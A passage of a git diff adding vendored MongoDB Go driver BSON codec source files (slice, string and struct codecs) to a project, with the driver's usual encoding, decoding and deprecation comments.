(ValueDecoder, bool) { + for _, idec := range r.interfaceDecoders { + if valueType.Implements(idec.i) { + return idec.vd, true + } + if allowAddr && valueType.Kind() != reflect.Ptr && reflect.PtrTo(valueType).Implements(idec.i) { + // if *t implements an interface, this will catch if t implements an interface further + // ahead in interfaceDecoders + defaultDec, found := r.lookupInterfaceDecoder(valueType, false) + if !found { + defaultDec, _ = r.kindDecoders.Load(valueType.Kind()) + } + return newCondAddrDecoder(idec.vd, defaultDec), true + } + } + return nil, false +} + +// LookupTypeMapEntry inspects the registry's type map for a Go type for the corresponding BSON +// type. If no type is found, ErrNoTypeMapEntry is returned. +// +// LookupTypeMapEntry should not be called concurrently with any other Registry method. +func (r *Registry) LookupTypeMapEntry(bt bsontype.Type) (reflect.Type, error) { + v, ok := r.typeMap.Load(bt) + if v == nil || !ok { + return nil, ErrNoTypeMapEntry{Type: bt} + } + return v.(reflect.Type), nil +} + +type interfaceValueEncoder struct { + i reflect.Type + ve ValueEncoder +} + +type interfaceValueDecoder struct { + i reflect.Type + vd ValueDecoder +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/slice_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/slice_codec.go new file mode 100644 index 00000000..14c9fd25 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/slice_codec.go @@ -0,0 +1,214 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "errors" + "fmt" + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" +) + +var defaultSliceCodec = NewSliceCodec() + +// SliceCodec is the Codec used for slice values. +// +// Deprecated: SliceCodec will not be directly configurable in Go Driver 2.0. To +// configure the slice encode and decode behavior, use the configuration methods +// on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the slice encode and +// decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to marshal nil Go slices as empty +// BSON arrays, use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// NilSliceAsEmpty: true, +// }) +// +// See the deprecation notice for each field in SliceCodec for the corresponding +// settings. +type SliceCodec struct { + // EncodeNilAsEmpty causes EncodeValue to marshal nil Go slices as empty BSON arrays instead of + // BSON null. + // + // Deprecated: Use bson.Encoder.NilSliceAsEmpty instead. + EncodeNilAsEmpty bool +} + +// NewSliceCodec returns a MapCodec with options opts. +// +// Deprecated: NewSliceCodec will not be available in Go Driver 2.0. See +// [SliceCodec] for more details. +func NewSliceCodec(opts ...*bsonoptions.SliceCodecOptions) *SliceCodec { + sliceOpt := bsonoptions.MergeSliceCodecOptions(opts...) + + codec := SliceCodec{} + if sliceOpt.EncodeNilAsEmpty != nil { + codec.EncodeNilAsEmpty = *sliceOpt.EncodeNilAsEmpty + } + return &codec +} + +// EncodeValue is the ValueEncoder for slice types. +func (sc SliceCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Slice { + return ValueEncoderError{Name: "SliceEncodeValue", Kinds: []reflect.Kind{reflect.Slice}, Received: val} + } + + if val.IsNil() && !sc.EncodeNilAsEmpty && !ec.nilSliceAsEmpty { + return vw.WriteNull() + } + + // If we have a []byte we want to treat it as a binary instead of as an array. + if val.Type().Elem() == tByte { + byteSlice := make([]byte, val.Len()) + reflect.Copy(reflect.ValueOf(byteSlice), val) + return vw.WriteBinary(byteSlice) + } + + // If we have a []primitive.E we want to treat it as a document instead of as an array. + if val.Type() == tD || val.Type().ConvertibleTo(tD) { + d := val.Convert(tD).Interface().(primitive.D) + + dw, err := vw.WriteDocument() + if err != nil { + return err + } + + for _, e := range d { + err = encodeElement(ec, dw, e) + if err != nil { + return err + } + } + + return dw.WriteDocumentEnd() + } + + aw, err := vw.WriteArray() + if err != nil { + return err + } + + elemType := val.Type().Elem() + encoder, err := ec.LookupEncoder(elemType) + if err != nil && elemType.Kind() != reflect.Interface { + return err + } + + for idx := 0; idx < val.Len(); idx++ { + currEncoder, currVal, lookupErr := defaultValueEncoders.lookupElementEncoder(ec, encoder, val.Index(idx)) + if lookupErr != nil && !errors.Is(lookupErr, errInvalidValue) { + return lookupErr + } + + vw, err := aw.WriteArrayElement() + if err != nil { + return err + } + + if errors.Is(lookupErr, errInvalidValue) { + err = vw.WriteNull() + if err != nil { + return err + } + continue + } + + err = currEncoder.EncodeValue(ec, vw, currVal) + if err != nil { + return err + } + } + return aw.WriteArrayEnd() +} + +// DecodeValue is the ValueDecoder for slice types. +func (sc *SliceCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Kind() != reflect.Slice { + return ValueDecoderError{Name: "SliceDecodeValue", Kinds: []reflect.Kind{reflect.Slice}, Received: val} + } + + switch vrType := vr.Type(); vrType { + case bsontype.Array: + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + case bsontype.Undefined: + val.Set(reflect.Zero(val.Type())) + return vr.ReadUndefined() + case bsontype.Type(0), bsontype.EmbeddedDocument: + if val.Type().Elem() != tE { + return fmt.Errorf("cannot decode document into %s", val.Type()) + } + case bsontype.Binary: + if val.Type().Elem() != tByte { + return fmt.Errorf("SliceDecodeValue can only decode a binary into a byte array, got %v", vrType) + } + data, subtype, err := vr.ReadBinary() + if err != nil { + return err + } + if subtype != bsontype.BinaryGeneric && subtype != bsontype.BinaryBinaryOld { + return fmt.Errorf("SliceDecodeValue can only be used to decode subtype 0x00 or 0x02 for %s, got %v", bsontype.Binary, subtype) + } + + if val.IsNil() { + val.Set(reflect.MakeSlice(val.Type(), 0, len(data))) + } + val.SetLen(0) + val.Set(reflect.AppendSlice(val, reflect.ValueOf(data))) + return nil + case bsontype.String: + if sliceType := val.Type().Elem(); sliceType != tByte { + return fmt.Errorf("SliceDecodeValue can only decode a string into a byte array, got %v", sliceType) + } + str, err := vr.ReadString() + if err != nil { + return err + } + byteStr := []byte(str) + + if val.IsNil() { + val.Set(reflect.MakeSlice(val.Type(), 0, len(byteStr))) + } + val.SetLen(0) + val.Set(reflect.AppendSlice(val, reflect.ValueOf(byteStr))) + return nil + default: + return fmt.Errorf("cannot decode %v into a slice", vrType) + } + + var elemsFunc func(DecodeContext, bsonrw.ValueReader, reflect.Value) ([]reflect.Value, error) + switch val.Type().Elem() { + case tE: + dc.Ancestor = val.Type() + elemsFunc = defaultValueDecoders.decodeD + default: + elemsFunc = defaultValueDecoders.decodeDefault + } + + elems, err := elemsFunc(dc, vr, val) + if err != nil { + return err + } + + if val.IsNil() { + val.Set(reflect.MakeSlice(val.Type(), 0, len(elems))) + } + + val.SetLen(0) + val.Set(reflect.Append(val, elems...)) + + return nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/string_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/string_codec.go new file mode 100644 index 00000000..a8f885a8 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/string_codec.go @@ -0,0 +1,140 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "fmt" + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +// StringCodec is the Codec used for string values. +// +// Deprecated: StringCodec will not be directly accessible in Go Driver 2.0. To +// override the default string encode and decode behavior, create a new registry +// with [go.mongodb.org/mongo-driver/bson.NewRegistry] and register a new +// encoder and decoder for strings. +// +// For example, +// +// reg := bson.NewRegistry() +// reg.RegisterKindEncoder(reflect.String, myStringEncoder) +// reg.RegisterKindDecoder(reflect.String, myStringDecoder) +type StringCodec struct { + // DecodeObjectIDAsHex specifies if object IDs should be decoded as their hex representation. + // If false, a string made from the raw object ID bytes will be used. Defaults to true. + // + // Deprecated: Decoding object IDs as raw bytes will not be supported in Go Driver 2.0. + DecodeObjectIDAsHex bool +} + +var ( + defaultStringCodec = NewStringCodec() + + // Assert that defaultStringCodec satisfies the typeDecoder interface, which allows it to be + // used by collection type decoders (e.g. map, slice, etc) to set individual values in a + // collection. + _ typeDecoder = defaultStringCodec +) + +// NewStringCodec returns a StringCodec with options opts. +// +// Deprecated: NewStringCodec will not be available in Go Driver 2.0. See +// [StringCodec] for more details. +func NewStringCodec(opts ...*bsonoptions.StringCodecOptions) *StringCodec { + stringOpt := bsonoptions.MergeStringCodecOptions(opts...) + return &StringCodec{*stringOpt.DecodeObjectIDAsHex} +} + +// EncodeValue is the ValueEncoder for string types. +func (sc *StringCodec) EncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if val.Kind() != reflect.String { + return ValueEncoderError{ + Name: "StringEncodeValue", + Kinds: []reflect.Kind{reflect.String}, + Received: val, + } + } + + return vw.WriteString(val.String()) +} + +func (sc *StringCodec) decodeType(_ DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t.Kind() != reflect.String { + return emptyValue, ValueDecoderError{ + Name: "StringDecodeValue", + Kinds: []reflect.Kind{reflect.String}, + Received: reflect.Zero(t), + } + } + + var str string + var err error + switch vr.Type() { + case bsontype.String: + str, err = vr.ReadString() + if err != nil { + return emptyValue, err + } + case bsontype.ObjectID: + oid, err := vr.ReadObjectID() + if err != nil { + return emptyValue, err + } + if sc.DecodeObjectIDAsHex { + str = oid.Hex() + } else { + // TODO(GODRIVER-2796): Return an error here instead of decoding to a garbled string. + byteArray := [12]byte(oid) + str = string(byteArray[:]) + } + case bsontype.Symbol: + str, err = vr.ReadSymbol() + if err != nil { + return emptyValue, err + } + case bsontype.Binary: + data, subtype, err := vr.ReadBinary() + if err != nil { + return emptyValue, err + } + if subtype != bsontype.BinaryGeneric && subtype != bsontype.BinaryBinaryOld { + return emptyValue, decodeBinaryError{subtype: subtype, typeName: "string"} + } + str = string(data) + case bsontype.Null: + if err = vr.ReadNull(); err != nil { + return emptyValue, err + } + case bsontype.Undefined: + if err = vr.ReadUndefined(); err != nil { + return emptyValue, err + } + default: + return emptyValue, fmt.Errorf("cannot decode %v into a string type", vr.Type()) + } + + return reflect.ValueOf(str), nil +} + +// DecodeValue is the ValueDecoder for string types. +func (sc *StringCodec) DecodeValue(dctx DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Kind() != reflect.String { + return ValueDecoderError{Name: "StringDecodeValue", Kinds: []reflect.Kind{reflect.String}, Received: val} + } + + elem, err := sc.decodeType(dctx, vr, val.Type()) + if err != nil { + return err + } + + val.SetString(elem.String()) + return nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/struct_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/struct_codec.go new file mode 100644 index 00000000..f8d9690c --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/struct_codec.go @@ -0,0 +1,736 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "errors" + "fmt" + "reflect" + "sort" + "strings" + "sync" + "time" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +// DecodeError represents an error that occurs when unmarshalling BSON bytes into a native Go type. +type DecodeError struct { + keys []string + wrapped error +} + +// Unwrap returns the underlying error +func (de *DecodeError) Unwrap() error { + return de.wrapped +} + +// Error implements the error interface. +func (de *DecodeError) Error() string { + // The keys are stored in reverse order because the de.keys slice is builtup while propagating the error up the + // stack of BSON keys, so we call de.Keys(), which reverses them. + keyPath := strings.Join(de.Keys(), ".") + return fmt.Sprintf("error decoding key %s: %v", keyPath, de.wrapped) +} + +// Keys returns the BSON key path that caused an error as a slice of strings. The keys in the slice are in top-down +// order. For example, if the document being unmarshalled was {a: {b: {c: 1}}} and the value for c was supposed to be +// a string, the keys slice will be ["a", "b", "c"]. +func (de *DecodeError) Keys() []string { + reversedKeys := make([]string, 0, len(de.keys)) + for idx := len(de.keys) - 1; idx >= 0; idx-- { + reversedKeys = append(reversedKeys, de.keys[idx]) + } + + return reversedKeys +} + +// Zeroer allows custom struct types to implement a report of zero +// state. All struct types that don't implement Zeroer or where IsZero +// returns false are considered to be not zero. +type Zeroer interface { + IsZero() bool +} + +// StructCodec is the Codec used for struct values. +// +// Deprecated: StructCodec will not be directly configurable in Go Driver 2.0. +// To configure the struct encode and decode behavior, use the configuration +// methods on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the struct encode +// and decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to omit zero-value structs when +// using the "omitempty" struct tag, use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// OmitZeroStruct: true, +// }) +// +// See the deprecation notice for each field in StructCodec for the corresponding +// settings. +type StructCodec struct { + cache sync.Map // map[reflect.Type]*structDescription + parser StructTagParser + + // DecodeZeroStruct causes DecodeValue to delete any existing values from Go structs in the + // destination value passed to Decode before unmarshaling BSON documents into them. + // + // Deprecated: Use bson.Decoder.ZeroStructs or options.BSONOptions.ZeroStructs instead. + DecodeZeroStruct bool + + // DecodeDeepZeroInline causes DecodeValue to delete any existing values from Go structs in the + // destination value passed to Decode before unmarshaling BSON documents into them. + // + // Deprecated: DecodeDeepZeroInline will not be supported in Go Driver 2.0. + DecodeDeepZeroInline bool + + // EncodeOmitDefaultStruct causes the Encoder to consider the zero value for a struct (e.g. + // MyStruct{}) as empty and omit it from the marshaled BSON when the "omitempty" struct tag + // option is set. + // + // Deprecated: Use bson.Encoder.OmitZeroStruct or options.BSONOptions.OmitZeroStruct instead. + EncodeOmitDefaultStruct bool + + // AllowUnexportedFields allows encoding and decoding values from un-exported struct fields. + // + // Deprecated: AllowUnexportedFields does not work on recent versions of Go and will not be + // supported in Go Driver 2.0. + AllowUnexportedFields bool + + // OverwriteDuplicatedInlinedFields, if false, causes EncodeValue to return an error if there is + // a duplicate field in the marshaled BSON when the "inline" struct tag option is set. The + // default value is true. + // + // Deprecated: Use bson.Encoder.ErrorOnInlineDuplicates or + // options.BSONOptions.ErrorOnInlineDuplicates instead. + OverwriteDuplicatedInlinedFields bool +} + +var _ ValueEncoder = &StructCodec{} +var _ ValueDecoder = &StructCodec{} + +// NewStructCodec returns a StructCodec that uses p for struct tag parsing. +// +// Deprecated: NewStructCodec will not be available in Go Driver 2.0. See +// [StructCodec] for more details. +func NewStructCodec(p StructTagParser, opts ...*bsonoptions.StructCodecOptions) (*StructCodec, error) { + if p == nil { + return nil, errors.New("a StructTagParser must be provided to NewStructCodec") + } + + structOpt := bsonoptions.MergeStructCodecOptions(opts...) + + codec := &StructCodec{ + parser: p, + } + + if structOpt.DecodeZeroStruct != nil { + codec.DecodeZeroStruct = *structOpt.DecodeZeroStruct + } + if structOpt.DecodeDeepZeroInline != nil { + codec.DecodeDeepZeroInline = *structOpt.DecodeDeepZeroInline + } + if structOpt.EncodeOmitDefaultStruct != nil { + codec.EncodeOmitDefaultStruct = *structOpt.EncodeOmitDefaultStruct + } + if structOpt.OverwriteDuplicatedInlinedFields != nil { + codec.OverwriteDuplicatedInlinedFields = *structOpt.OverwriteDuplicatedInlinedFields + } + if structOpt.AllowUnexportedFields != nil { + codec.AllowUnexportedFields = *structOpt.AllowUnexportedFields + } + + return codec, nil +} + +// EncodeValue handles encoding generic struct types. +func (sc *StructCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Struct { + return ValueEncoderError{Name: "StructCodec.EncodeValue", Kinds: []reflect.Kind{reflect.Struct}, Received: val} + } + + sd, err := sc.describeStruct(ec.Registry, val.Type(), ec.useJSONStructTags, ec.errorOnInlineDuplicates) + if err != nil { + return err + } + + dw, err := vw.WriteDocument() + if err != nil { + return err + } + var rv reflect.Value + for _, desc := range sd.fl { + if desc.inline == nil { + rv = val.Field(desc.idx) + } else { + rv, err = fieldByIndexErr(val, desc.inline) + if err != nil { + continue + } + } + + desc.encoder, rv, err = defaultValueEncoders.lookupElementEncoder(ec, desc.encoder, rv) + + if err != nil && !errors.Is(err, errInvalidValue) { + return err + } + + if errors.Is(err, errInvalidValue) { + if desc.omitEmpty { + continue + } + vw2, err := dw.WriteDocumentElement(desc.name) + if err != nil { + return err + } + err = vw2.WriteNull() + if err != nil { + return err + } + continue + } + + if desc.encoder == nil { + return ErrNoEncoder{Type: rv.Type()} + } + + encoder := desc.encoder + + var empty bool + if cz, ok := encoder.(CodecZeroer); ok { + empty = cz.IsTypeZero(rv.Interface()) + } else if rv.Kind() == reflect.Interface { + // isEmpty will not treat an interface rv as an interface, so we need to check for the + // nil interface separately. + empty = rv.IsNil() + } else { + empty = isEmpty(rv, sc.EncodeOmitDefaultStruct || ec.omitZeroStruct) + } + if desc.omitEmpty && empty { + continue + } + + vw2, err := dw.WriteDocumentElement(desc.name) + if err != nil { + return err + } + + ectx := EncodeContext{ + Registry: ec.Registry, + MinSize: desc.minSize || ec.MinSize, + errorOnInlineDuplicates: ec.errorOnInlineDuplicates, + stringifyMapKeysWithFmt: ec.stringifyMapKeysWithFmt, + nilMapAsEmpty: ec.nilMapAsEmpty, + nilSliceAsEmpty: ec.nilSliceAsEmpty, + nilByteSliceAsEmpty: ec.nilByteSliceAsEmpty, + omitZeroStruct: ec.omitZeroStruct, + useJSONStructTags: ec.useJSONStructTags, + } + err = encoder.EncodeValue(ectx, vw2, rv) + if err != nil { + return err + } + } + + if sd.inlineMap >= 0 { + rv := val.Field(sd.inlineMap) + collisionFn := func(key string) bool { + _, exists := sd.fm[key] + return exists + } + + return defaultMapCodec.mapEncodeValue(ec, dw, rv, collisionFn) + } + + return dw.WriteDocumentEnd() +} + +func newDecodeError(key string, original error) error { + var de *DecodeError + if !errors.As(original, &de) { + return &DecodeError{ + keys: []string{key}, + wrapped: original, + } + } + + de.keys = append(de.keys, key) + return de +} + +// DecodeValue implements the Codec interface. +// By default, map types in val will not be cleared. If a map has existing key/value pairs, it will be extended with the new ones from vr. +// For slices, the decoder will set the length of the slice to zero and append all elements. The underlying array will not be cleared. +func (sc *StructCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Kind() != reflect.Struct { + return ValueDecoderError{Name: "StructCodec.DecodeValue", Kinds: []reflect.Kind{reflect.Struct}, Received: val} + } + + switch vrType := vr.Type(); vrType { + case bsontype.Type(0), bsontype.EmbeddedDocument: + case bsontype.Null: + if err := vr.ReadNull(); err != nil { + return err + } + + val.Set(reflect.Zero(val.Type())) + return nil + case bsontype.Undefined: + if err := vr.ReadUndefined(); err != nil { + return err + } + + val.Set(reflect.Zero(val.Type())) + return nil + default: + return fmt.Errorf("cannot decode %v into a %s", vrType, val.Type()) + } + + sd, err := sc.describeStruct(dc.Registry, val.Type(), dc.useJSONStructTags, false) + if err != nil { + return err + } + + if sc.DecodeZeroStruct || dc.zeroStructs { + val.Set(reflect.Zero(val.Type())) + } + if sc.DecodeDeepZeroInline && sd.inline { + val.Set(deepZero(val.Type())) + } + + var decoder ValueDecoder + var inlineMap reflect.Value + if sd.inlineMap >= 0 { + inlineMap = val.Field(sd.inlineMap) + decoder, err = dc.LookupDecoder(inlineMap.Type().Elem()) + if err != nil { + return err + } + } + + dr, err := vr.ReadDocument() + if err != nil { + return err + } + + for { + name, vr, err := dr.ReadElement() + if errors.Is(err, bsonrw.ErrEOD) { + break + } + if err != nil { + return err + } + + fd, exists := sd.fm[name] + if !exists { + // if the original name isn't found in the struct description, try again with the name in lowercase + // this could match if a BSON tag isn't specified because by default, describeStruct lowercases all field + // names + fd, exists = sd.fm[strings.ToLower(name)] + } + + if !exists { + if sd.inlineMap < 0 { + // The encoding/json package requires a flag to return on error for non-existent fields. + // This functionality seems appropriate for the struct codec. + err = vr.Skip() + if err != nil { + return err + } + continue + } + + if inlineMap.IsNil() { + inlineMap.Set(reflect.MakeMap(inlineMap.Type())) + } + + elem := reflect.New(inlineMap.Type().Elem()).Elem() + dc.Ancestor = inlineMap.Type() + err = decoder.DecodeValue(dc, vr, elem) + if err != nil { + return err + } + inlineMap.SetMapIndex(reflect.ValueOf(name), elem) + continue + } + + var field reflect.Value + if fd.inline == nil { + field = val.Field(fd.idx) + } else { + field, err = getInlineField(val, fd.inline) + if err != nil { + return err + } + } + + if !field.CanSet() { // Being settable is a super set of being addressable. + innerErr := fmt.Errorf("field %v is not settable", field) + return newDecodeError(fd.name, innerErr) + } + if field.Kind() == reflect.Ptr && field.IsNil() { + field.Set(reflect.New(field.Type().Elem())) + } + field = field.Addr() + + dctx := DecodeContext{ + Registry: dc.Registry, + Truncate: fd.truncate || dc.Truncate, + defaultDocumentType: dc.defaultDocumentType, + binaryAsSlice: dc.binaryAsSlice, + useJSONStructTags: dc.useJSONStructTags, + useLocalTimeZone: dc.useLocalTimeZone, + zeroMaps: dc.zeroMaps, + zeroStructs: dc.zeroStructs, + } + + if fd.decoder == nil { + return newDecodeError(fd.name, ErrNoDecoder{Type: field.Elem().Type()}) + } + + err = fd.decoder.DecodeValue(dctx, vr, field.Elem()) + if err != nil { + return newDecodeError(fd.name, err) + } + } + + return nil +} + +func isEmpty(v reflect.Value, omitZeroStruct bool) bool { + kind := v.Kind() + if (kind != reflect.Ptr || !v.IsNil()) && v.Type().Implements(tZeroer) { + return v.Interface().(Zeroer).IsZero() + } + switch kind { + case reflect.Array, reflect.Map, reflect.Slice, reflect.String: + return v.Len() == 0 + case reflect.Struct: + if !omitZeroStruct { + return false + } + vt := v.Type() + if vt == tTime { + return v.Interface().(time.Time).IsZero() + } + numField := vt.NumField() + for i := 0; i < numField; i++ { + ff := vt.Field(i) + if ff.PkgPath != "" && !ff.Anonymous { + continue // Private field + } + if !isEmpty(v.Field(i), omitZeroStruct) { + return false + } + } + return true + } + return !v.IsValid() || v.IsZero() +} + +type structDescription struct { + fm map[string]fieldDescription + fl []fieldDescription + inlineMap int + inline bool +} + +type fieldDescription struct { + name string // BSON key name + fieldName string // struct field name + idx int + omitEmpty bool + minSize bool + truncate bool + inline []int + encoder ValueEncoder + decoder ValueDecoder +} + +type byIndex []fieldDescription + +func (bi byIndex) Len() int { return len(bi) } + +func (bi byIndex) Swap(i, j int) { bi[i], bi[j] = bi[j], bi[i] } + +func (bi byIndex) Less(i, j int) bool { + // If a field is inlined, its index in the top level struct is stored at inline[0] + iIdx, jIdx := bi[i].idx, bi[j].idx + if len(bi[i].inline) > 0 { + iIdx = bi[i].inline[0] + } + if len(bi[j].inline) > 0 { + jIdx = bi[j].inline[0] + } + if iIdx != jIdx { + return iIdx < jIdx + } + for k, biik := range bi[i].inline { + if k >= len(bi[j].inline) { + return false + } + if biik != bi[j].inline[k] { + return biik < bi[j].inline[k] + } + } + return len(bi[i].inline) < len(bi[j].inline) +} + +func (sc *StructCodec) describeStruct( + r *Registry, + t reflect.Type, + useJSONStructTags bool, + errorOnDuplicates bool, +) (*structDescription, error) { + // We need to analyze the struct, including getting the tags, collecting + // information about inlining, and create a map of the field name to the field. + if v, ok := sc.cache.Load(t); ok { + return v.(*structDescription), nil + } + // TODO(charlie): Only describe the struct once when called + // concurrently with the same type. + ds, err := sc.describeStructSlow(r, t, useJSONStructTags, errorOnDuplicates) + if err != nil { + return nil, err + } + if v, loaded := sc.cache.LoadOrStore(t, ds); loaded { + ds = v.(*structDescription) + } + return ds, nil +} + +func (sc *StructCodec) describeStructSlow( + r *Registry, + t reflect.Type, + useJSONStructTags bool, + errorOnDuplicates bool, +) (*structDescription, error) { + numFields := t.NumField() + sd := &structDescription{ + fm: make(map[string]fieldDescription, numFields), + fl: make([]fieldDescription, 0, numFields), + inlineMap: -1, + } + + var fields []fieldDescription + for i := 0; i < numFields; i++ { + sf := t.Field(i) + if sf.PkgPath != "" && (!sc.AllowUnexportedFields || !sf.Anonymous) { + // field is private or unexported fields aren't allowed, ignore + continue + } + + sfType := sf.Type + encoder, err := r.LookupEncoder(sfType) + if err != nil { + encoder = nil + } + decoder, err := r.LookupDecoder(sfType) + if err != nil { + decoder = nil + } + + description := fieldDescription{ + fieldName: sf.Name, + idx: i, + encoder: encoder, + decoder: decoder, + } + + var stags StructTags + // If the caller requested that we use JSON struct tags, use the JSONFallbackStructTagParser + // instead of the parser defined on the codec. + if useJSONStructTags { + stags, err = JSONFallbackStructTagParser.ParseStructTags(sf) + } else { + stags, err = sc.parser.ParseStructTags(sf) + } + if err != nil { + return nil, err + } + if stags.Skip { + continue + } + description.name = stags.Name + description.omitEmpty = stags.OmitEmpty + description.minSize = stags.MinSize + description.truncate = stags.Truncate + + if stags.Inline { + sd.inline = true + switch sfType.Kind() { + case reflect.Map: + if sd.inlineMap >= 0 { + return nil, errors.New("(struct " + t.String() + ") multiple inline maps") + } + if sfType.Key() != tString { + return nil, errors.New("(struct " + t.String() + ") inline map must have a string keys") + } + sd.inlineMap = description.idx + case reflect.Ptr: + sfType = sfType.Elem() + if sfType.Kind() != reflect.Struct { + return nil, fmt.Errorf("(struct %s) inline fields must be a struct, a struct pointer, or a map", t.String()) + } + fallthrough + case reflect.Struct: + inlinesf, err := sc.describeStruct(r, sfType, useJSONStructTags, errorOnDuplicates) + if err != nil { + return nil, err + } + for _, fd := range inlinesf.fl { + if fd.inline == nil { + fd.inline = []int{i, fd.idx} + } else { + fd.inline = append([]int{i}, fd.inline...) + } + fields = append(fields, fd) + + } + default: + return nil, fmt.Errorf("(struct %s) inline fields must be a struct, a struct pointer, or a map", t.String()) + } + continue + } + fields = append(fields, description) + } + + // Sort fieldDescriptions by name and use dominance rules to determine which should be added for each name + sort.Slice(fields, func(i, j int) bool { + x := fields + // sort field by name, breaking ties with depth, then + // breaking ties with index sequence. + if x[i].name != x[j].name { + return x[i].name < x[j].name + } + if len(x[i].inline) != len(x[j].inline) { + return len(x[i].inline) < len(x[j].inline) + } + return byIndex(x).Less(i, j) + }) + + for advance, i := 0, 0; i < len(fields); i += advance { + // One iteration per name. + // Find the sequence of fields with the name of this first field. + fi := fields[i] + name := fi.name + for advance = 1; i+advance < len(fields); advance++ { + fj := fields[i+advance] + if fj.name != name { + break + } + } + if advance == 1 { // Only one field with this name + sd.fl = append(sd.fl, fi) + sd.fm[name] = fi + continue + } + dominant, ok := dominantField(fields[i : i+advance]) + if !ok || !sc.OverwriteDuplicatedInlinedFields || errorOnDuplicates { + return nil, fmt.Errorf("struct %s has duplicated key %s", t.String(), name) + } + sd.fl = append(sd.fl, dominant) + sd.fm[name] = dominant + } + + sort.Sort(byIndex(sd.fl)) + + return sd, nil +} + +// dominantField looks through the fields, all of which are known to +// have the same name, to find the single field that dominates the +// others using Go's inlining rules. If there are multiple top-level +// fields, the boolean will be false: This condition is an error in Go +// and we skip all the fields. +func dominantField(fields []fieldDescription) (fieldDescription, bool) { + // The fields are sorted in increasing index-length order, then by presence of tag. + // That means that the first field is the dominant one. We need only check + // for error cases: two fields at top level. + if len(fields) > 1 && + len(fields[0].inline) == len(fields[1].inline) { + return fieldDescription{}, false + } + return fields[0], true +} + +func fieldByIndexErr(v reflect.Value, index []int) (result reflect.Value, err error) { + defer func() { + if recovered := recover(); recovered != nil { + switch r := recovered.(type) { + case string: + err = fmt.Errorf("%s", r) + case error: + err = r + } + } + }() + + result = v.FieldByIndex(index) + return +} + +func getInlineField(val reflect.Value, index []int) (reflect.Value, error) { + field, err := fieldByIndexErr(val, index) + if err == nil { + return field, nil + } + + // if parent of this element doesn't exist, fix its parent + inlineParent := index[:len(index)-1] + var fParent reflect.Value + if fParent, err = fieldByIndexErr(val, inlineParent); err != nil { + fParent, err = getInlineField(val, inlineParent) + if err != nil { + return fParent, err + } + } + fParent.Set(reflect.New(fParent.Type().Elem())) + + return fieldByIndexErr(val, index) +} + +// DeepZero returns recursive zero object +func deepZero(st reflect.Type) (result reflect.Value) { + if st.Kind() == reflect.Struct { + numField := st.NumField() + for i := 0; i < numField; i++ { + if result == emptyValue { + result = reflect.Indirect(reflect.New(st)) + } + f := result.Field(i) + if f.CanInterface() { + if f.Type().Kind() == reflect.Struct { + result.Field(i).Set(recursivePointerTo(deepZero(f.Type().Elem()))) + } + } + } + } + return result +} + +// recursivePointerTo calls reflect.New(v.Type) but recursively for its fields inside +func recursivePointerTo(v reflect.Value) reflect.Value { + v = reflect.Indirect(v) + result := reflect.New(v.Type()) + if v.Kind() == reflect.Struct { + for i := 0; i < v.NumField(); i++ { + if f := v.Field(i); f.Kind() == reflect.Ptr { + if f.Elem().Kind() == reflect.Struct { + result.Elem().Field(i).Set(recursivePointerTo(f)) + } + } + } + } + + return result +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/struct_tag_parser.go 